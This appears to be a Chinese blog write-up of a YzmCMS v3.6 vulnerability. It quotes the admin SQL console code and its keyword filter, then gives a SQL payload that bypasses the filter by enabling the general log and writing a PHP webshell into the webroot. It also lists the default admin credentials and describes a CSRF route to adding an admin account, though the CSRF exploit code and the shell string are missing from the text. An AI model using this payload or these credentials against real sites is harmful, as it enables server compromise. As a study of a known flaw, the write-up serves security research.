YzmCMS_v3.6_csrf

# YzmCMS v3.6 csrf

================

一、漏洞简介
————

二、漏洞影响
————

YzmCMS v3.6

三、复现过程
————

1、文件位置: /application/admin/controller/sql.class.php第10-42行中:

public function init() {
if(isset($_POST[‘sqlstr’])){
if(!C(‘sql_execute’)) showmsg(‘根据系统配置,不允许在线执行SQL命令!’, ‘stop’);
$sqlstr = MAGIC_QUOTES_GPC ? stripslashes($_POST[‘sqlstr’]) : $_POST[‘sqlstr’];
$sqlstr = rtrim(trim($sqlstr), ‘;’);
$sqls = $_POST[‘action’]==’many’ ? explode(‘;’, $sqlstr) : array(0 => $sqlstr);

$admin = D(‘admin’);
foreach($sqls as $sql){
10. if(stristr($sql, ‘outfile’)){
11. $str = ‘ERROR : 检测到非法字符 “outfile”!‘;
12. break;
13. }
14. if(stristr($sql, ‘.php’)){
15. $str = ‘ERROR : 检测到非法字符 “.php” !‘;
16. break;
17. }
18. if(preg_match(“/^drop(.*)database/i”, $sql)){
19. $str = ‘ERROR : 不允许删除数据库!‘;
20. break;
21. }
22. $result = $admin->query($sql);
23. if($result){
24. $str = ‘OK : 执行成功!‘;
25. if(is_object($result) || is_resource($result)){
26. $arr = $admin->fetch_all($result);
27. }
28. }else{
29. $str = ‘ERROR : 执行失败!‘;
30. break;
31. }
32. }
33. }

这段函数中对提交的sql参数进行还原处理,然后进行非法字符检测,检测字符是否存在”oufile”、”.php”,匹配是否有删除数据的操作等。

2、如何绕过这种限制?

首页,outfile被禁止,第一时间想到的就是SQL语句利用日志写入文件,但是写入脚本文件”.php”会被检测到非法字符;然后,尝试MySQL中concat函数来连接字符串,拆分’.php’关键词,如
CONCAT(\”test.\”,\”php\”);最后构造出可以写入文件,绕过非法字符检测的的SQL语句,从而触发代码执行漏洞,控制服务器。

Payload:

show variables like ‘%general%’; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file =CONCAT(“E:\\study\\WWW\\YzmCMS\\test.”,”php”);
select ‘‘; #写入shell

### 漏洞复现

#### 如何获取后台管理员权限

有两种思路:

思路A:通过默认信息,弱口令登录

默认后台路径:

管理员默认账号密码均为:yzmcms

思路B:通过CSRF漏洞,诱导管理员访问,自动在后台添加管理员账号。

CSRF漏洞利用代码如下:



OWASP CRSFTester Demonstration


OWASP CRSFTester Demonstration

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容